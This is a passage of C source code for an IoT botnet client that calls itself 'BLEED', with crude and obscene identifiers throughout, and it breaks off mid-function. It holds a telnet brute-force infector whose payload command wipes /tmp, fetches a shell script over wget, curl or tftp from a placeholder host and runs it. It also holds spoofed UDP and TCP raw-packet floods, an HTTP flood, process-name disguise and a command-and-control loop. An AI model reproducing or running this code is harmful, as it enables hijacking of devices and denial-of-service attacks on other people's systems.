- send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; rm-rf *; wget http://ip/Bots/B.sh || busybox wget http://ip/Bots/B.sh || curl -O http://ip/Bots/B.sh; chmod 777 B.sh || busybox chmod 777 B.sh; busybox sh B.sh || sh B.sh; busybox tftp ip -c get tftp1.sh; chmod 777 tftp1.sh || busybox chmod 777 tftp1.sh; sh tftp1.sh || busybox sh tftp1.sh; busybox tftp -r tftp2 -g ip; chmod 777 tftp2 || busybox chmod 777 tftp2; sh tftp2; rm -rf B.sh tftp1 tftp2 || busybox rm -rf B.sh tftp1 tftp2; exit\r\n", 562, MSG_NOSIGNAL);
- bignetreppin(lots_of_random_shit, "DEVICE CLEAR FAILED - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
- res_c0ckz(&fds[i]);
- }
- }
- break;
- case 9:
- {
- fds[i].tTimeout = 0;
- send(fds[i].fd, "enable\r\n", 8, MSG_NOSIGNAL);
- send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL);
- send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL);
- if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; rm-rf *; wget http://ip/Bots/B.sh || busybox wget http://ip/Bots/B.sh || curl -O http://ip/Bots/B.sh; chmod 777 B.sh || busybox chmod 777 B.sh; busybox sh B.sh || sh B.sh; busybox tftp ip -c get tftp1.sh; chmod 777 tftp1.sh || busybox chmod 777 tftp1.sh; sh tftp1.sh || busybox sh tftp1.sh; busybox tftp -r tftp2 -g ip; chmod 777 tftp2 || busybox chmod 777 tftp2; sh tftp2; rm -rf B.sh tftp1 tftp2 || busybox rm -rf B.sh tftp1 tftp2; exit\r\n", 562, MSG_NOSIGNAL) < 0) {
- bignetreppin(lots_of_random_shit, "PAYLOAD EXECUTED - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
- res_c0ckz(&fds[i]);
- continue;
- }
- if(fds[i].tTimeout + 30 < time(NULL)) {
- send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; rm-rf *; wget http://ip/Bots/B.sh || busybox wget http://ip/Bots/B.sh || curl -O http://ip/Bots/B.sh; chmod 777 B.sh || busybox chmod 777 B.sh; busybox sh B.sh || sh B.sh; busybox tftp ip -c get tftp1.sh; chmod 777 tftp1.sh || busybox chmod 777 tftp1.sh; sh tftp1.sh || busybox sh tftp1.sh; busybox tftp -r tftp2 -g ip; chmod 777 tftp2 || busybox chmod 777 tftp2; sh tftp2; rm -rf B.sh tftp1 tftp2 || busybox rm -rf B.sh tftp1 tftp2; exit\r\n", 562, MSG_NOSIGNAL);
- bignetreppin(lots_of_random_shit, "ALT PAYLOAD EXECUTED - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
- res_c0ckz(&fds[i]);
- }
- break;
- }
- }
- }
- }
- }
- /*
- _______ ___ _______ _______ ______ _______ _______ _______
- | _ | | | | _ | | _ | | _ \ | _ | | _ \ | _ |
- |. 1___| |. | |. | | |. | | |. | \ |. 1___| |. l / | 1___|
- |. __) |. |___ |. | | |. | | |. | \ |. __)_ |. _ 1 |____ |
- |: | |: 1 | |: 1 | |: 1 | |: 1 / |: 1 | |: | | |: 1 |
- |::.| |::.. . | |::.. . | |::.. . | |::.. . / |::.. . | |::.|:. | |::.. . |
- `---' `-------' `-------' `-------' `------' `-------' `--- ---' `-------'
- */
- // HUG FLOOD
- void l0lc0k3sda(unsigned char *ip, int port, int secs) {
- int askdioawudhawd;
- askdioawudhawd = socket(AF_INET, SOCK_DGRAM, 0);
- time_t start = time(NULL);
- struct sockaddr_in sin;
- struct hostent *hp;
- hp = gethostbyname(ip);
- bzero((char*) &sin,sizeof(sin));
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = port;
- unsigned int a = 0;
- while(1){
- if (a >= 50) {
- send(askdioawudhawd, l0l21eu128duw, zdjaudh278e12ye, 0);
- connect(askdioawudhawd,(struct sockaddr *) &sin, sizeof(sin));
- if (time(NULL) >= start + secs) {
- close(askdioawudhawd);
- _exit(0);
- }
- a = 0;
- }
- a++;
- }
- }
- // UDP FLOOD
- void l0ld0ngs(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- if(port == 0) dest_addr.sin_port = rand_cmwc();
- else dest_addr.sin_port = htons(port);
- if(getHost(target, &dest_addr.sin_addr)) return;
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- register unsigned int pollRegister;
- pollRegister = pollinterval;
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
- if(!sockfd) {
- return;
- }
- int tmp = 1;
- if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
- return;
- }
- int counter = 50;
- while(counter--) {
- srand(time(NULL) ^ rand_cmwc());
- init_rand(rand());
- }
- in_addr_t netmask;
- netmask = ( ~((1 << (32 - spoofit)) - 1) );
- unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
- struct iphdr *iph = (struct iphdr *)packet;
- struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
- makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( bigcocksinmymouth(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
- udph->len = htons(sizeof(struct udphdr) + packetsize);
- udph->source = rand_cmwc();
- udph->dest = (port == 0 ? rand_cmwc() : htons(port));
- udph->check = 0;
- chinese_routers_suck((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- int end = time(NULL) + timeEnd;
- register unsigned int i = 0;
- while(1) {
- sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- udph->source = rand_cmwc();
- udph->dest = (port == 0 ? rand_cmwc() : htons(port));
- iph->id = rand_cmwc();
- iph->saddr = htonl( bigcocksinmymouth(netmask) );
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- if(i == pollRegister) {
- if(time(NULL) > end) break;
- i = 0;
- continue;
- }
- i++;
- }
- }
- // TCP FLOOD
- void d0ggyd1ckz(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
- register unsigned int pollRegister;
- pollRegister = pollinterval;
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- if(port == 0) dest_addr.sin_port = rand_cmwc();
- else dest_addr.sin_port = htons(port);
- if(getHost(target, &dest_addr.sin_addr)) return;
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
- if(!sockfd) { return; }
- int tmp = 1;
- if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
- in_addr_t netmask;
- if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
- else netmask = ( ~((1 << (32 - spoofit)) - 1) );
- unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
- struct iphdr *iph = (struct iphdr *)packet;
- struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
- makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( bigcocksinmymouth(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
- tcph->source = rand_cmwc();
- tcph->seq = rand_cmwc();
- tcph->ack_seq = 0;
- tcph->doff = 5;
- if(!strcmp(flags, "all")) {
- tcph->syn = 1;
- tcph->rst = 1;
- tcph->fin = 1;
- tcph->ack = 1;
- tcph->psh = 1;
- } else {
- unsigned char *pch = strtok(flags, ",");
- while(pch) {
- if(!strcmp(pch, "syn")) { tcph->syn = 1;
- } else if(!strcmp(pch, "rst")) { tcph->rst = 1;
- } else if(!strcmp(pch, "fin")) { tcph->fin = 1;
- } else if(!strcmp(pch, "ack")) { tcph->ack = 1;
- } else if(!strcmp(pch, "psh")) { tcph->psh = 1;
- } else {
- }
- pch = strtok(NULL, ",");
- }
- }
- tcph->window = rand_cmwc();
- tcph->check = 0;
- tcph->urg_ptr = 0;
- tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
- tcph->check = tcpcsum(iph, tcph);
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- int end = time(NULL) + timeEnd;
- register unsigned int i = 0;
- while(1) {
- sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- iph->saddr = htonl( bigcocksinmymouth(netmask) );
- iph->id = rand_cmwc();
- tcph->seq = rand_cmwc();
- tcph->source = rand_cmwc();
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- iph->check = csum ((unsigned short *) packet, iph->tot_len);
- if(i == pollRegister) {
- if(time(NULL) > end) break;
- i = 0;
- continue;
- }
- i++;
- }
- }
- // HTTP-GHP FLOOD + USER AGENTS
- void dj28d9usad(char *adhawudhawd, char *host, in_port_t port, char *adhq278dyhqd, int timeEnd, int power) {
- int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
- const char *blackguywithawhitecock[] = {
- "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
- "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
- "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
- "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
- "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
- "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
- "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
- "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
- "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
- "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
- "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
- "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
- "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
- "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
- "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
- "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
- "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0",
- "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0",
- "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0",
- "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322",
- "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
- "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0",
- "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
- "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
- "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
- "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
- "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
- "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
- "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
- "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
- "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
- "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
- "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
- "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
- "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
- };
- char request[2048], buffer[1];
- for (i = 0; i < power; i++) {
- sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", adhawudhawd, adhq278dyhqd, host, blackguywithawhitecock[(rand() % 13)]);
- if (fork()) {
- while (end > time(NULL)) {
- socket = awdj218eu29duada(host, port);
- if (socket != 0) {
- write(socket, request, strlen(request));
- read(socket, buffer, 1);
- close(socket);
- }
- }
- exit(0);
- }
- }
- }
- /*
- _______ _______ _______ _______ _______ _______ _______
- | _ | | _ \ | _ | | _ | | _ | | _ | | _ |
- |. 1 | |. l / |. | | |. 1___| |. 1___| | 1___| | 1___|
- |. ____| |. _ 1 |. | | |. |___ |. __)_ |____ | |____ |
- |: | |: | | |: 1 | |: 1 | |: 1 | |: 1 | |: 1 |
- |::.| |::.|:. | |::.. . | |::.. . | |::.. . | |::.. . | |::.. . |
- `---' `--- ---' `-------' `-------' `-------' `-------' `-------'
- */
- void fuckinghugec0ck(int argc, unsigned char *argv[]) {
- if(!strcmp(argv[0], "PING")) { // SIMPLY PING-PONG REQUEST
- return;
- }
- if(!strcmp(argv[0], "TRIGGERED")) { // START THE TELNET BRUTEFORCE
- uint32_t parent;
- parent = fork();
- int ii = 0;
- int forks = sysconf( _SC_NPROCESSORS_ONLN ); // RETURNS PROCESSORS ONLINE
- int fds = 999999;
- if(forks == 1) fds = 500;
- if(forks >= 2) fds = 1000;
- if (parent > 0) { scanPid = parent; return;}
- else if(parent == -1) return;
- for (ii = 0; ii < forks; ii++) { srand((time(NULL) ^ getpid()) + getppid()); init_rand(time(NULL) ^ getpid()); fuckfatpeople(100, fds); _exit(0); } }
- if (!strcmp(argv[0], "HTTPFLOOD")) { // HTTPFLOOD GET||HEAD||POST IP PORT / TIME POWER
- if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
- if (listFork()) return;
- dj28d9usad(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
- exit(0);
- }
- if(!strcmp(argv[0], "UDPFLOOD")) { // UDPFLOOD TARGET PORT TIME PACKETSIZE POLLINTERVAL
- if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1)) {
- return;
- }
- unsigned char *ip = argv[1];
- int port = atoi(argv[2]);
- int time = atoi(argv[3]);
- int packetsize = atoi(argv[4]);
- int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
- int spoofed = 32;
- if(strstr(ip, ",") != NULL) {
- unsigned char *hi = strtok(ip, ",");
- while(hi != NULL) {
- if(!listFork()) {
- l0ld0ngs(hi, port, time, packetsize, pollinterval, spoofed);
- _exit(0);
- }
- hi = strtok(NULL, ",");
- }
- } else {
- if (listFork()) { return; }
- l0ld0ngs(ip, port, time, packetsize, pollinterval, spoofed);
- _exit(0);
- }
- }
- if(!strcmp(argv[0], "TCPFLOOD")) { // TCPFLOOD TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
- if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1)){
- return;
- }
- unsigned char *ip = argv[1];
- int port = atoi(argv[2]);
- int time = atoi(argv[3]);
- unsigned char *flags = argv[4];
- int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
- int packetsize = argc > 5 ? atoi(argv[5]) : 0;
- int spoofed = 32;
- if(strstr(ip, ",") != NULL) {
- unsigned char *hi = strtok(ip, ",");
- while(hi != NULL) {
- if(!listFork()) {
- d0ggyd1ckz(hi, port, time, flags, packetsize, pollinterval, spoofed);
- _exit(0);
- }
- hi = strtok(NULL, ",");
- }
- } else {
- if (listFork()) { return; }
- d0ggyd1ckz(ip, port, time, flags, packetsize, pollinterval, spoofed);
- _exit(0);
- }
- }
- if(!strcmp(argv[0], "HUGFLOOD")) { // HUGFLOOD TARGET PORT TIME
- if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) {
- return;
- }
- unsigned char *ip = argv[1];
- int port = atoi(argv[2]);
- int time = atoi(argv[3]);
- if(strstr(ip, ",") != NULL) {
- unsigned char *hi = strtok(ip, ",");
- while(hi != NULL) {
- if(!listFork()) {
- l0lc0k3sda(hi, port, time);
- _exit(0);
- }
- hi = strtok(NULL, ",");
- }
- } else {
- if (listFork()) { return; }
- l0lc0k3sda(ip, port, time);
- _exit(0);
- }
- }
- if(!strcmp(argv[0], "KILLALL")) {
- int killed = 0;
- unsigned long i;
- for (i = 0; i < numpids; i++) {
- if (pids[i] != 0 && pids[i] != getpid()) {
- kill(pids[i], 9);
- killed++;
- }
- }
- if(killed > 0) {
- } else {
- }
- }
- if(!strcmp(argv[0], "DESTROYALL")) { // KILL ALL BOTS
- exit(0);
- }
- }
- int fake_connection_wink_wink() {
- unsigned char server[512];
- memset(server, 0, 512);
- if(lots_of_random_shit) { close(lots_of_random_shit); lots_of_random_shit = 0; }
- if(big_fat_d1ckz + 1 == pornhub_rocks) big_fat_d1ckz = 0;
- else big_fat_d1ckz++;
- strcpy(server, vjqweuqwuds[big_fat_d1ckz]);
- int port = 13164;
- if(strchr(server, ':') != NULL) {
- port = atoi(strchr(server, ':') + 1);
- *((unsigned char *)(strchr(server, ':'))) = 0x0;
- }
- lots_of_random_shit = socket(AF_INET, SOCK_STREAM, 0);
- if(!connectTimeout(lots_of_random_shit, server, port, 30)) return 1;
- return 0;
- }
- int main(int argc, unsigned char *argv[]) {
- char _det[] = "Detected";
- char _ourName[] = "BLEED:";
- const char* blow_me_bitch[] = {
- "/we/like/to/bleed",
- "/why/is/bleed/so/cute",
- "/justin/bieber/made/bleed",
- "/weed/and/bleed",
- "/dinnertime/with/bleed"
- };
- if(pornhub_rocks <= 0) return 0;
- strncpy(argv[0],"",strlen(argv[0]));
- argv[0] = "";
- prctl(PR_SET_NAME, (unsigned long) blow_me_bitch[(rand() % 5)], 0, 0, 0);
- srand(time(NULL) ^ getpid());
- init_rand(time(NULL) ^ getpid());
- pid_t pid1;
- pid_t pid2;
- int status;
- if (pid1 = fork()) { waitpid(pid1, &status, 0); exit(0); } else if (!pid1) { if (pid2 = fork()) { exit(0); } else if (!pid2) { } else { } } else { }
- chdir("/");
- setuid(0);
- seteuid(0);
- signal(SIGPIPE, SIG_IGN);
- while(1) {
- if(fake_connection_wink_wink()) { sleep(5); continue; }
- char commBuf[4096];
- int got = 0;
- int i = 0;
- while((got = recvLine(lots_of_random_shit, commBuf, 4096)) != -1) {
- for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
- unsigned int *newpids, on;
- for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
- pids[on - 1] = 0;
- numpids--;
- newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
- for (on = 0; on < numpids; on++) newpids[on] = pids[on];
- free(pids);
- pids = newpids;
- }
- commBuf[got] = 0x00;
- trim(commBuf);
- if(strstr(commBuf, "PING") == commBuf) { // PING
- continue;
- }
- if(strstr(commBuf, "LOLSKEED") == commBuf) exit(0); // DUP
- unsigned char *message = commBuf;
- if(*message == '!') {
- unsigned char *nickMask = message + 1;
- while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
- if(*nickMask == 0x00) continue;
- *(nickMask) = 0x00;
- nickMask = message + 1;
- message = message + strlen(nickMask) + 2;
- while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
- unsigned char *command = message;
- while(*message != ' ' && *message != 0x00) message++;
- *message = 0x00;
- message++;
- unsigned char *tmpcommand = command;
- while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
- unsigned char *params[10];
- int paramsCount = 1;
- unsigned char *pch = strtok(message, " ");
- params[0] = command;
- while(pch) {
- if(*pch != '\n') {
